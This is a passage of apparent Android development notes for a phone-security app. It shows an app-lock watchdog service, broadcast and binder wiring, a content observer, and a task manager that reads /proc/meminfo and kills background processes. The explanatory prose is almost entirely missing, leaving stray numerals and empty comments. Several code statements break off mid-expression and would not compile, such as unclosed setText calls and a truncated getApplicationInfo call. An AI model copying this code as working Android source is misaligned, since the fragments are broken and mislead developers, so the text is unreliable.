				</intent-filter>*/
								Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_MAIN);
								//	3CATEGORY
								intent.addCategory(Intent.CATEGORY_HOME);
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								intent.addCategory(Intent.CATEGORY_MONKEY);
								startActivity(intent);
								return	true;//	true
				}
				return	super.onKeyDown(keyCode,	event);
}			
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EnterPasswordActivity

ActivityActivity 	android:excludeFromRecents="true"			
<activity
				android:name="cn.zengfansheng.mobilesafe.EnterPasswordActivity"
				android:excludeFromRecents="true"
				android:launchMode="singleInstance"	>
</activity>

Android2.xHOMEActivityAndroid4.x
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b)Activity
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1
ActivityService
Service/Service/

1
ActivityServiceService
a)		EnterPasswordActivity	
//	1:1
Intent	intent	=	new	Intent();
intent.setAction("cn.zengfansheng.cancel");
intent.putExtra("packagename",	packagename);
sendBroadcast(intent);//	

b)	WatchDogService
IntentFilter	screenFilter	=	new	IntentFilter();
								screenFilter.addAction(Intent.ACTION_SCREEN_OFF);//	
								registerReceiver(screenOffReceiver,	screenFilter);

/**
	*	1
	*	@author	hacket
	*/
private	class	CancelProtectApplication	extends	BroadcastReceiver{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								//	1	
								String	packagename	=	intent.getStringExtra("packagename");
								//	2List
								tempNoProtectAppPackageName.add(packagename);
				}
}
2ActivityService

ActivityonCreate()(Binder),onDestroy()Service
a)	WatchDogService
			/**
					*	4
					*	@param	packageName	



					*/
				private	void	tempNoProtectAppPackageName(String	packageName){
								tempNoProtectAppPackageName.add(packageName);
				}
b)	WatchDogServiceIService
/**
					*5ActivityService	
					*	@author	hacket
					*/
				private	class	MyBinder	extends	Binder	implements	IService{//public	class	Binder	implements	IBinder
								@Override
								public	void	stopProtect(String	packageName)	{
												tempNoProtectAppPackageName(packageName);
								}
				}
c)	WatchDogService
@Override
				public	IBinder	onBind(Intent	intent)	{
								return	new	MyBinder();
				}
d)	EnterPasswordActivityonCreate()
//	3
								Intent	service	=	new	Intent(this,	WatchDogService.class);
								conn	=	new	MyServiceConnection();
								int	flags	=	BIND_AUTO_CREATE;//	
								bindService(service,	conn,	flags);
e)	EnterPasswordActivityonDestroy()
//	4onDestroy()
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								if	(conn	!=	null)	{//	
												unbindService(conn);
								}
				}
f)	EnterPasswordActivityMyServiceConnection
/**
	*	3
	*	Receives	information	as	the	service	is	started	and	stopped.
	*	@author	hacket
	*/
private	class	MyServiceConnection	implements	ServiceConnection	{



				//	1
				@Override
				public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
								iService	=	(IService)	service;
				}
				//	2
				@Override
				public	void	onServiceDisconnected(ComponentName	name)	{
				}
}
g)
iService.stopProtect(packagename);//	 packagename



CPU
ScreenOffScreenOn
1
//	
@Override
public	void	onCreate()	{
				super.onCreate();

				tempNoProtectAppPackageName	=	new	ArrayList<String>();

				//	4
				screenOnReceiver	=	new	ScreenOnReceiver();
				IntentFilter	screenOnFilter	=	new	IntentFilter();
				screenOnFilter.addAction(Intent.ACTION_SCREEN_ON);//	
				registerReceiver(screenOnReceiver,	screenOnFilter);
				
				//	3
				screenOffReceiver	=	new	ScreenOffReceiver();
				IntentFilter	screenOffFilter	=	new	IntentFilter();
				screenOffFilter.addAction(Intent.ACTION_SCREEN_OFF);//	
				registerReceiver(screenOffReceiver,	screenOffFilter);

				//	2
				noProtectReceiver	=	new	CancelProtectApplicationReceiver();
				IntentFilter	cancelProtectFilter	=	new	IntentFilter();
				cancelProtectFilter.addAction("cn.zengfansheng.cancel");
				registerReceiver(noProtectReceiver,	cancelProtectFilter);

				//	1ActivityManager
				activityManager	=	(ActivityManager)	getSystemService(Context.ACTIVITY_SERVICE);
				appLockDao	=	new	AppLockDao(getApplicationContext());
				intent	=	new	Intent(getApplicationContext(),EnterPasswordActivity.class);
				intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//	Activity
				//	.
				startWatchDogInThread();
}
2
//	
@Override



public	void	onDestroy()	{
				super.onDestroy();

				//	1
				flag	=	false;

				//	2-
				unregisterReceiver(noProtectReceiver);
				noProtectReceiver	=	null;

				//	3
				unregisterReceiver(screenOffReceiver);
				screenOffReceiver	=	null;

				//	3
				unregisterReceiver(screenOnReceiver);
				screenOnReceiver	=	null;
}

3
/**
	*	3
	*	@author	hacket
	*/
private	class	ScreenOnReceiver	extends	BroadcastReceiver{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								if	(!flag)	{//	
												startWatchDogInThread();
												Log.i(TAG,	"~~~" );
								}
				}
}
/**
	*	2
	*	@author	hacket
	*/
private	class	ScreenOffReceiver	extends	BroadcastReceiver{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								//	List
								if	(tempNoProtectAppPackageName	!=	null)	{
												tempNoProtectAppPackageName.clear();
								}



								if	(flag)	{//	flagtrue
												flag	=	false;
												Log.i(TAG,	"~~~" );
								}
				}
}



1
300ms Thread.sleep(300);

/**
	*	4
	*/
private	void	startWatchDogInThread()	{
				new	Thread()	{
								public	void	run()	{
												flag	=	true;
												while	(flag)	{

																//	23Task
																List<RunningTaskInfo>	runningTasks	=	activityManager.getRunningTasks(3);

																//	3Activitytask
																RunningTaskInfo	runningTaskInfo	=	runningTasks.get(0);

																//	4Activity
																ComponentName	topActivity	=	runningTaskInfo.topActivity;
																String	packageName	=	topActivity.getPackageName();
																boolean	isLock	=	appLockDao.find(packageName);
																if	(isLock)	{//	Activity
																				if	(!tempNoProtectAppPackageName.contains(packageName))	{//	
																								Log.i(TAG,	packageName	+	"~" );
																								//	 packagename
																								intent.putExtra("packagename",	packageName);
																								startActivity(intent);
																				}
																}	else	{//	
																				Log.i(TAG,	packageName	+	"~" );
																}
																try	{
																				Thread.sleep(300);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
																System.out.println(packageName);



												}
								}
				}.start();
}
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/**
	*	
	*/
private	List<String>	protectedPackageNames;		
	
/**
	*	4
	*/
private	void	startWatchDogInThread()	{
				new	Thread()	{
								public	void	run()	{
												flag	=	true;
												while	(flag)	{
																//	23Task
																//List<RunningTaskInfo>	runningTasks	=	activityManager.getRunningTasks(3);
																//	2
																List<RunningTaskInfo>	runningTasks	=	activityManager.getRunningTasks(1);
																//	3Activitytask
																RunningTaskInfo	runningTaskInfo	=	runningTasks.get(0);
																//	4Activity
																ComponentName	topActivity	=	runningTaskInfo.topActivity;
																String	packageName	=	topActivity.getPackageName();

																				//boolean	isLock	=	appLockDao.find(packageName);
																				//if	(isLock)	{//	Activity//	
																				//	3protectedPackageNames
																																	10
																				boolean	isContains	=	protectedPackageNames.contains(packageName);
																				if	(isContains)	{
																								if	(!tempNoProtectAppPackageName.contains(packageName))	{
																								//	
																												Log.i(TAG,	packageName	+	"~" );
																												intent.putExtra("packagename",	packageName);//	 packagename
																												startActivity(intent);
																								}
																				}	else	{//	
																								Log.i(TAG,	packageName	+	"~" );



																				}

																//	1 cpu
																try	{
																				//	Thread.sleep(300);//
																				Thread.sleep(50);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
																System.out.println(packageName);
												}
								}
				}.start();
}

2:

	
a)	dao
notify()~~~
/**
	*	1
	*	
	*	@param	packagename		
	*	@return		
	*/
public	long	add(String	packagename)	{



				//	1
				SQLiteDatabase	database	=	helper.getWritableDatabase();
				//	2
				ContentValues	values	=	new	ContentValues();
				values.put("packagename",	packagename);
				long	insert	=	database.insert(TABLE,	null,	values);//	
				//	3
				database.close();
				//	4
				Uri	uri	=	Uri.parse("content://cn.zengfansheng.applock.change");
				context.getContentResolver().notifyChange(uri,	null);
				return	insert;
}
/**
	*	2
	*	@param	packagename	
	*	@return	
	*/
public	long	delete(String	packagename)	{
				SQLiteDatabase	database	=	helper.getWritableDatabase();
				int	delete	=	database.delete(TABLE,	"packagename=?",	new	String[]{packagename});
				database.close();
				Uri	uri	=	Uri.parse("content://cn.zengfansheng.applock.change");
				context.getContentResolver().notifyChange(uri,	null);
				return	delete;
}
b)	
/**
	*	7List
	*	@author	hacket
	*/
private	class	MyContentObserver	extends	ContentObserver	{
				public	MyContentObserver(Handler	handler)	{
								super(handler);
				}
				//	,
				@Override
				public	void	onChange(boolean	selfChange,	Uri	uri)	{
								super.onChange(selfChange);
								//	
								protectedPackageNames	=	appLockDao.findAll();
				}



}



1(checkbox)
2ActivityManagerPackageManager

package	cn.zengfansheng.mobilesafe.engine;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.app.ActivityManager;

import	android.app.ActivityManager.RunningAppProcessInfo;

import	android.content.Context;

import	android.content.pm.ApplicationInfo;

import	android.content.pm.PackageManager;

import	android.content.pm.PackageManager.NameNotFoundException;

import	android.graphics.drawable.Drawable;

import	android.os.Debug.MemoryInfo;

import	cn.zengfansheng.mobilesafe.R;

import	cn.zengfansheng.mobilesafe.domain.TaskInfo;

	

/**

*	4

*	@author	hacket

*/

public	class	TaskInfoProvider	{

	

				/**

					*	1

					*	@param	context	

					*	@return	List

					*/

				public	static	List<TaskInfo>	getTaskInfos(Context	context)	{

	

								List<TaskInfo>	taskInfos	=	new	ArrayList<TaskInfo>();

	

								//	1)

								PackageManager	packageManager	=	context.getPackageManager();

								//	2)Activity

								ActivityManager	activityManager	=	(ActivityManager)

context.getSystemService(Context.ACTIVITY_SERVICE);

	

								//	3)Activity

								List<RunningAppProcessInfo>	runningAppProcesses	=	activityManager.getRunningAppProcesses();

	

								//	4)

								for	(RunningAppProcessInfo	runningAppProcessInfo	:	runningAppProcesses)	{

	

												TaskInfo	taskInfo	=	new	TaskInfo();

	

												//	4-1

												String	packageName	=	runningAppProcessInfo.processName;//	



												taskInfo.setAppPackageName(packageName);//	

	

												//	4-2

												MemoryInfo	memoryInfo	=	activityManager.getProcessMemoryInfo(new	int

{runningAppProcessInfo.pid})[0];

												int	memSize	=	memoryInfo.getTotalPrivateDirty()*1000;//KB

												taskInfo.setMemSize(memSize);//	

	

												//	runningAppProcessInfo.importance//

												try	{

	

																//	4-3

																ApplicationInfo	applicationInfo	=	packageManager.getApplicationInfo(packageName,	

	

																//	4-4

																Drawable	appIcon	=	applicationInfo.loadIcon(packageManager);

																taskInfo.setAppIcon(appIcon);//	

	

																//	4-5

																String	appName	=	applicationInfo.loadLabel(packageManager).toString();

																taskInfo.setAppName(appName);//	

	

																if	((applicationInfo.flags	&	ApplicationInfo.FLAG_SYSTEM)	==	0

																				taskInfo.setUserTask(true);//	

																}	else	{

																				taskInfo.setUserTask(false);//	

																}

												}	catch	(NameNotFoundException	e)	{

																e.printStackTrace();

																//	5	,

																String	appName	=	packageName;//	

																taskInfo.setAppName(appName);

																taskInfo.setAppIcon(context.getResources().getDrawable(R.drawable.ic_launcher));

												}

												taskInfos.add(taskInfo);

								}

								return	taskInfos;

				}

}

SystemInfoUtils.java		
package	cn.zengfansheng.mobilesafe.utils;

	

import	java.io.BufferedReader;

import	java.io.File;

import	java.io.FileInputStream;

import	java.io.FileNotFoundException;

import	java.io.IOException;

import	java.io.InputStreamReader;

	

import	android.annotation.SuppressLint;

import	android.app.ActivityManager;

import	android.app.ActivityManager.MemoryInfo;

import	android.content.Context;

	

/**



*	5

*	@author	hacket

*/

public	class	SystemInfoUtils	{

	

				/**

					*	1

					*	@param	context	

					*	@return	

					*/

				public	static	int	getRunningProcCount(Context	context)	{

								ActivityManager	activityManager	=	(ActivityManager)

context.getSystemService(Context.ACTIVITY_SERVICE);

								return	activityManager.getRunningAppProcesses().size();

				}

	

				/**

					*	2

					*	@param	context	

					*	@return	

					*/

				public	static	long	getAvailableMemory(Context	context)	{

								ActivityManager	activityManager	=	(ActivityManager)

context.getSystemService(Context.ACTIVITY_SERVICE);

								MemoryInfo	outInfo	=	new	MemoryInfo();

								activityManager.getMemoryInfo(outInfo);

								long	availMem	=	outInfo.availMem;

								return	availMem;

				}

	

				/**

					*	3

					*	@param	context	

					*	@return	

					*/

				@SuppressLint("NewApi")	//totalMem,api16

				public	static	long	getTotalMemory(Context	context)	{

	

								//	1api16

								/*ActivityManager	activityManager	=	(ActivityManager)

context.getSystemService(Context.ACTIVITY_SERVICE);

								MemoryInfo	outInfo	=	new	MemoryInfo();

								activityManager.getMemoryInfo(outInfo);

								long	totalMem	=	outInfo.totalMem;*/

	

								//	2

								BufferedReader	br	=	null;

								long	totalMem	=	0;

								try	{

												File	meminfo	=	new	File("/proc/meminfo");

												FileInputStream	fis	=	new	FileInputStream(meminfo);

	

												br	=	new	BufferedReader(new	InputStreamReader(fis));

												String	line	=	br.readLine();

	



												StringBuilder	sb	=	new	StringBuilder();

												char[]	charArray	=	line.toCharArray();

												for	(char	c	:	charArray)	{

																if	(c	>=	'0'	&&	c	<=	'9')	{//	

																				sb.append(c);

																}

												}

												String	string	=	sb.toString();

												totalMem	=	Long.parseLong(string)	*	1000;//	/pro/meninfoKB.1000

	

								}	catch	(FileNotFoundException	e)	{

												e.printStackTrace();

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}finally{

												try	{

																if	(br	!=	null)

																				br.close();

												}	catch	(IOException	e)	{

																e.printStackTrace();

												}	finally	{

																br	=	null;

												}

								}

								return	totalMem;

				}

}

/proc/meminfo
meminfo



	
/proc/cpuinfo
cpuinfo:

1



//	1api16
								/*ActivityManager	activityManager	=	(ActivityManager)	context.getSystemService(Context.ACTIVITY_SERVICE);
								MemoryInfo	outInfo	=	new	MemoryInfo();
								activityManager.getMemoryInfo(outInfo);
								long	totalMem	=	outInfo.totalMem;*/
									
api16
/**
	*	3
	*	@param	context	
	*	@return	
	*/
@SuppressLint("NewApi")	//totalMem,api16
public	static	long	getTotalMemory(Context	context)	{
				//	1api16
				/*ActivityManager	activityManager	=	(ActivityManager)	context.getSystemService(Context.ACTIVITY_SERVICE);
				MemoryInfo	outInfo	=	new	MemoryInfo();
				activityManager.getMemoryInfo(outInfo);
				long	totalMem	=	outInfo.totalMem;*/
				
				//	2
				BufferedReader	br	=	null;
				long	totalMem	=	0;
				try	{
								File	meminfo	=	new	File("/proc/meminfo");
								FileInputStream	fis	=	new	FileInputStream(meminfo);
								
								br	=	new	BufferedReader(new	InputStreamReader(fis));
								String	line	=	br.readLine();
								StringBuilder	sb	=	new	StringBuilder();
								char[]	charArray	=	line.toCharArray();
								for	(char	c	:	charArray)	{
												if	(c	>=	'0'	&&	c	<=	'9')	{//	
																sb.append(c);
												}
								}
								String	string	=	sb.toString();
								totalMem	=	Long.parseLong(string)	*	1000;//	/pro/ meninfoKB.1000
								
				}	catch	(FileNotFoundException	e)	{
								e.printStackTrace();
				}	catch	(IOException	e)	{



								e.printStackTrace();
				}finally{
								try	{
												if	(br	!=	null)
																br.close();
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}	finally	{
												br	=	null;
								}
				}
				return	totalMem;
}		



UI

1	 LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"

android:layout_weight="1"

2
item
a)
//	 checkbox
if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	item
				viewHolder.cb_task_status.setVisibility(View.INVISIBLE);//	
}

b)
/**
	*	5
	*/
public	void	selectAll()	{
				for	(TaskInfo	taskInfo	:	userTaskInfos)	{
								if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	
												continue;
								}
								taskInfo.setChecked(true);
				}
				for	(TaskInfo	taskInfo	:	sysTaskInfos)	{
								taskInfo.setChecked(true);
				}
				if	(adataer	!=	null)	{
								adataer.notifyDataSetChanged();
				}
}

c)
if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	
				view.setClickable(false);
				return;
}

3ListViewcheckbox,
convertView



if	(taskInfo.isChecked())	{
				viewHolder.cb_task_status.setChecked(true);
}	else	{
				viewHolder.cb_task_status.setChecked(false);
}
1
<?xml	version="1.0"	encoding="utf-8"?>
<!--	32Activity	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				xmlns:tools="http://schemas.android.com/tools"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<!--	1	-->
				<TextView
								style="@style/wizard_textview_title"
								android:gravity="center"
								android:text="@string/task_manager"	/>
				<!--	2/	-->
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>
								<TextView
												android:id="@+id/tv_running_process_count"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:gravity="center"
												android:text="@string/running_process_count"	/>
								<TextView
												android:id="@+id/tv_available_memory"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:gravity="center"
												android:text="@string/avail_and_total_memory"	/>
				</RelativeLayout>
				<!--	TODO	ListView	-->
				<!--	3ListView	-->
				<FrameLayout
								android:layout_width="match_parent"
								android:layout_height="match_parent"
								android:layout_weight="300"	>



								<ListView
												android:id="@+id/lv_task_list"
												android:layout_width="match_parent"
												android:layout_height="match_parent"	>
								</ListView>
								<LinearLayout
												android:id="@+id/ll_task_data_fill"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:gravity="center"
												android:orientation="vertical"
												android:visibility="invisible"	>
												<ProgressBar
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"	/>
												<TextView
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"
																android:layout_marginTop="15dip"
																android:gravity="center"
																android:text="@string/loadind_data_waiting"	/>
								</LinearLayout>
				</FrameLayout>
				<!--	3	-->
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_weight="1"	>
								<Button
												android:id="@+id/bt_task_selectAll"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1"
												android:background="@drawable/btn_green_selector"
												android:text="@string/task_selectall"
												tools:ignore="NestedWeights"	/>
								<Button
												android:id="@+id/bt_task_clearAll"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1"
												android:background="@drawable/btn_green_selector"



												android:text="@string/task_clearall"	/>
								<Button
												android:id="@+id/bt_task_selectOpposite"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1"
												android:background="@drawable/btn_green_selector"
												android:text="@string/task_selectopposite"	/>
								<Button
												android:id="@+id/bt_task_clearMaster"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="2"
												android:background="@drawable/btn_green_selector"
												android:text="@string/task_clearmaster"	/>
								<Button
												android:id="@+id/bt_task_setting"
												android:layout_width="0dip"
												android:layout_height="wrap_content"
												android:layout_weight="1"
												android:background="@drawable/btn_green_selector"
												android:text="@string/task_setting"	/>
				</LinearLayout>
</LinearLayout>
2:
package	cn.zengfansheng.mobilesafe;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.annotation.SuppressLint;

import	android.app.Activity;

import	android.graphics.Color;

import	android.os.Bundle;

import	android.os.Handler;

import	android.os.Message;

import	android.text.format.Formatter;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.widget.AdapterView;

import	android.widget.AdapterView.OnItemClickListener;

import	android.widget.BaseAdapter;

import	android.widget.Button;

import	android.widget.CheckBox;

import	android.widget.ImageView;

import	android.widget.ListView;

import	android.widget.RelativeLayout;



import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.domain.TaskInfo;

import	cn.zengfansheng.mobilesafe.engine.TaskInfoProvider;

import	cn.zengfansheng.mobilesafe.utils.SystemInfoUtils;

	

/**

*	20Activity

*	@author	hacket

*/

public	class	TaskManageActivity	extends	Activity	implements	OnClickListener	{

	

				private	TextView	tv_running_process_count;//	

				private	TextView	tv_available_memory;//	/

	

				private	ListView	lv_task_list;//	ListView

	

				private	List<TaskInfo>	taskInfos;//	

	

				private	View	ll_task_data_fill;//	

	

				private	List<TaskInfo>	userTaskInfos;//	

				private	List<TaskInfo>	sysTaskInfos;//	

	

				//	

				private	Button	bt_task_selectAll;//	

				private	Button	bt_task_clearAll;//	

				private	Button	bt_task_selectOpposite;//	

				private	Button	bt_task_clearMaster;//	

				private	Button	bt_task_setting;//	

	

				private	MyTaskManageAdataer	adataer;//ListView

	

				@SuppressLint("HandlerLeak")

				private	Handler	handler	=	new	Handler()	{

	

								@Override

								public	void	handleMessage(Message	msg)	{

												super.handleMessage(msg);

												ll_task_data_fill.setVisibility(View.INVISIBLE);

	

												adataer	=	new	MyTaskManageAdataer();

												lv_task_list.setAdapter(adataer);

								}

				};

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_task_manager);

	

								tv_running_process_count	=	(TextView)	this.findViewById(R.id.tv_running_process_count);

								tv_available_memory	=	(TextView)	this.findViewById(R.id.tv_available_memory);

	

								lv_task_list	=	(ListView)	this.findViewById(R.id.lv_task_list);

								ll_task_data_fill	=	this.findViewById(R.id.ll_task_data_fill);



	

								//	

								bt_task_selectAll	=	(Button)	this.findViewById(R.id.bt_task_selectAll);

								bt_task_clearAll	=	(Button)	this.findViewById(R.id.bt_task_clearAll);

								bt_task_selectOpposite	=	(Button)	this.findViewById(R.id.bt_task_selectOpposite);

								bt_task_clearMaster	=	(Button)	this.findViewById(R.id.bt_task_clearMaster);

								bt_task_setting	=	(Button)	this.findViewById(R.id.bt_task_setting);

	

								//	1

								int	runningProcCount	=	SystemInfoUtils.getRunningProcCount(this);

								tv_running_process_count.setText(getResources().getString(R.string.running_process_count)

	

								//	2/

								String	availableMemory	=	Formatter.formatFileSize(this,SystemInfoUtils.getAvailableMemory(

								String	totalMemory	=	Formatter.formatFileSize(this,SystemInfoUtils.getTotalMemory(

							

tv_available_memory.setText(getResources().getString(R.string.avail_and_total_memory)

	

								//	3

								fillData();

	

								//	4item

								lv_task_list.setOnItemClickListener(new	OnItemClickListener()	{

	

												@Override

												public	void	onItemClick(AdapterView<?>	parent,	View	view,

																				int	position,	long	id)	{

																Object	itemAtPosition	=	lv_task_list.getItemAtPosition(position);

																if	(itemAtPosition	!=null	&&	itemAtPosition	instanceof	TaskInfo)	{

																				TaskInfo	taskInfo	=	(TaskInfo)	itemAtPosition;

																				if	(taskInfo.getAppPackageName().equals(getPackageName()))	{

																								view.setClickable(false);

																								return;

																				}

																				CheckBox	cb_status	=	(CheckBox)	view.findViewById(R.id.cb_task_status);

																				if	(taskInfo.isChecked())	{//

																								taskInfo.setChecked(false);

																								cb_status.setChecked(false);

																				}else	{//

																								taskInfo.setChecked(true);

																								cb_status.setChecked(true);

																				}

																}

												}

								});

	

								//	5

								bt_task_selectAll.setOnClickListener(this);

								bt_task_clearAll.setOnClickListener(this);

								bt_task_selectOpposite.setOnClickListener(this);

								bt_task_clearMaster.setOnClickListener(this);

								bt_task_setting.setOnClickListener(this);

				}

				/**

					*	9

					*/



				public	void	taskSetting(){

	

				}

				/**

					*	8

					*/

				public	void	clearMaster(){

	

				}

				/**

					*	7

					*/

				public	void	selectOpposite(){

								for	(TaskInfo	taskInfo	:	userTaskInfos)	{

												if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	

																continue;

												}

												taskInfo.setChecked(!taskInfo.isChecked());

								}

								for	(TaskInfo	taskInfo	:	sysTaskInfos)	{

												taskInfo.setChecked(!taskInfo.isChecked());

								}

								if	(adataer	!=	null)	{

												adataer.notifyDataSetChanged();

								}

				}

				/**

					*	6

					*/

				public	void	clearAll(){

								for	(TaskInfo	taskInfo	:	userTaskInfos)	{

												taskInfo.setChecked(false);

								}

								for	(TaskInfo	taskInfo	:	sysTaskInfos)	{

												taskInfo.setChecked(false);

								}

								if	(adataer	!=	null)	{

												adataer.notifyDataSetChanged();

								}

				}

				/**

					*	5

					*/

				public	void	selectAll()	{

								for	(TaskInfo	taskInfo	:	userTaskInfos)	{

												if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	

																continue;

												}

												taskInfo.setChecked(true);

								}

								for	(TaskInfo	taskInfo	:	sysTaskInfos)	{

												taskInfo.setChecked(true);

								}

	

								if	(adataer	!=	null)	{



												adataer.notifyDataSetChanged();

								}

				}

				//	4

				@Override

				public	void	onClick(View	v)	{

								switch	(v.getId())	{

								case	R.id.bt_task_selectAll://	

												selectAll();

												break;

								case	R.id.bt_task_clearAll://	

												clearAll();

												break;

								case	R.id.bt_task_selectOpposite://	

												selectOpposite();

												break;

								case	R.id.bt_task_clearMaster://	

												clearMaster();

												break;

								case	R.id.bt_task_setting://	

												taskSetting();

												break;

								}

				}

				/**

					*	3ListViewViewHolder

					*	@author	hacket

					*/

				private	static	class	ViewHolder	{

								private	ImageView	iv_task_icon;

								private	TextView	tv_task_app_name;

								private	TextView	tv_task_app_memsize;

								private	CheckBox	cb_task_status;

				}

				/**

					*	2TaskManageActivityListView

					*	@author	hacket

					*/

				private	class	MyTaskManageAdataer	extends	BaseAdapter	{

	

								@Override

								public	int	getCount()	{

												return	userTaskInfos.size()	+	1	+	sysTaskInfos.size()	+	1;

								}

								@Override

								public	Object	getItem(int	position)	{

												TaskInfo	taskInfo;

												if	(position	==	0)	{//	0tv

																return	null;

												}	else	if	(position	==	userTaskInfos.size()	+	1)	{//	tv

																return	null;

												}	else	if	(position	<=	userTaskInfos.size())	{	//

																taskInfo	=	userTaskInfos.get(position-1);

												}	else	{	//

																taskInfo	=	sysTaskInfos.get(position	-	1	-	userTaskInfos.size()



												}

												return	taskInfo;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

								@Override

								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

	

												TaskInfo	taskInfo;

												if	(position	==	0)	{//	0tv

																TextView	tView	=	new	TextView(getApplicationContext());

																tView.setText("" 	+	userTaskInfos.size()	+	"" );

																tView.setTextSize(20);

																tView.setTextColor(Color.BLACK);

																return	tView;

												}	else	if	(position	==	userTaskInfos.size()	+	1)	{//	tv

																TextView	tView	=	new	TextView(getApplicationContext());

																tView.setTextSize(20);

																tView.setTextColor(Color.BLACK);

																tView.setText("" 	+	sysTaskInfos.size()	+	"" );

																return	tView;

												}	else	if	(position	<=	userTaskInfos.size())	{	//

																taskInfo	=	userTaskInfos.get(position-1);

												}	else	{	//

																taskInfo	=	sysTaskInfos.get(position-1-userTaskInfos.size()-1);

												}

												View	view	=	null;

												ViewHolder	viewHolder;

												if	(convertView	!=	null	&&	convertView	instanceof	RelativeLayout)	{

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();

												}	else	{

	

																view	=	View.inflate(getApplicationContext(),	R.layout.listview_taskinfo_item,	null);

																viewHolder	=	new	ViewHolder();

																viewHolder.iv_task_icon	=	(ImageView)	view.findViewById(R.id.iv_task_icon);

																viewHolder.tv_task_app_name	=	(TextView)	view.findViewById(R.id.tv_task_app_name);

																viewHolder.tv_task_app_memsize	=	(TextView)	view.findViewById(R.id.tv_task_app_memsize);

																viewHolder.cb_task_status	=	(CheckBox)	view.findViewById(R.id.cb_task_status);

																view.setTag(viewHolder);

												}

	

												viewHolder.iv_task_icon.setImageDrawable(taskInfo.getAppIcon());

												viewHolder.tv_task_app_name.setText(taskInfo.getAppName());

												long	memSize	=	taskInfo.getMemSize();

												viewHolder.tv_task_app_memsize.setText("" +Formatter.formatFileSize(getApplicationContext(),	memSize));

												if	(taskInfo.isChecked())	{

																viewHolder.cb_task_status.setChecked(true);

												}	else	{

																viewHolder.cb_task_status.setChecked(false);

												}

	

												//	checkbox



												if	(taskInfo.getAppPackageName().equals(getPackageName()))	{//	item

																viewHolder.cb_task_status.setVisibility(View.INVISIBLE);//	

												}

												return	view;

								}

				}

	

				/**

					*	1

					*/

				public	void	fillData()	{

								ll_task_data_fill.setVisibility(View.VISIBLE);

								new	Thread()	{

												public	void	run()	{

																taskInfos	=	TaskInfoProvider.getTaskInfos(getApplicationContext());

																userTaskInfos	=	new	ArrayList<TaskInfo>();

																sysTaskInfos	=	new	ArrayList<TaskInfo>();

																for	(TaskInfo	taskInfo	:	taskInfos)	{

																				if	(taskInfo.isUserTask())	{//	

																								userTaskInfos.add(taskInfo);

																				}	else	{//	

																								sysTaskInfos.add(taskInfo);

																				}

																}

																handler.sendEmptyMessage(0);

												};

								}.start();

				}

}





——
1ListList

2
3
4ListView
5
6

/**
	*	8
	*/
public	void	clearMaster(){
				//	1
				List<TaskInfo>	killTaskInfos	=	new	ArrayList<TaskInfo>();
				for	(TaskInfo	taskInfo	:	userTaskInfos)	{
								if	(taskInfo.isChecked())	{
												//	userTaskInfos.remove(taskInfo);
												killTaskInfos.add(taskInfo);
								}
				}
				for	(TaskInfo	taskInfo	:	sysTaskInfos)	{
								if	(taskInfo.isChecked())	{
												//	sysTaskInfos.remove(taskInfo);
												killTaskInfos.add(taskInfo);
								}
				}
				//	2
				for	(TaskInfo	taskInfo	:	killTaskInfos)	{
								if	(taskInfo.isUserTask())	{
												activityManager.killBackgroundProcesses(taskInfo.getAppPackageName());//
												userTaskInfos.remove(taskInfo);//
								}	else	{
												activityManager.killBackgroundProcesses(taskInfo.getAppPackageName());
												sysTaskInfos.remove(taskInfo);
								}
				}
				//	3
				running_process_count	-=	killTaskInfos.size();
				if	(running_process_count>=0)	{
								tv_running_process_count.setText(getResources().getString(R.string.running_process_count
				}



				
				//	4
				long	availMemSize	=	0;
				for	(TaskInfo	taskInfo	:	killTaskInfos)	{
								if	(taskInfo.isChecked())	{
												availMemSize	+=	taskInfo.getMemSize();
								}
				}
				tv_available_memory.setText(getResources().getString(R.string.avail_and_total_memory
												Formatter.formatFileSize(this,availableMemory	+availMemSize)+"/"+Formatter.formatFileSize
				//	5ListView
				adataer.notifyDataSetChanged();
}

1
11-18	11:18:48.673:	E/AndroidRuntime(4031):	java.util.ConcurrentModificationException

2
<uses-permission	android:name="android.permission.KILL_BACKGROUND_PROCESSES"
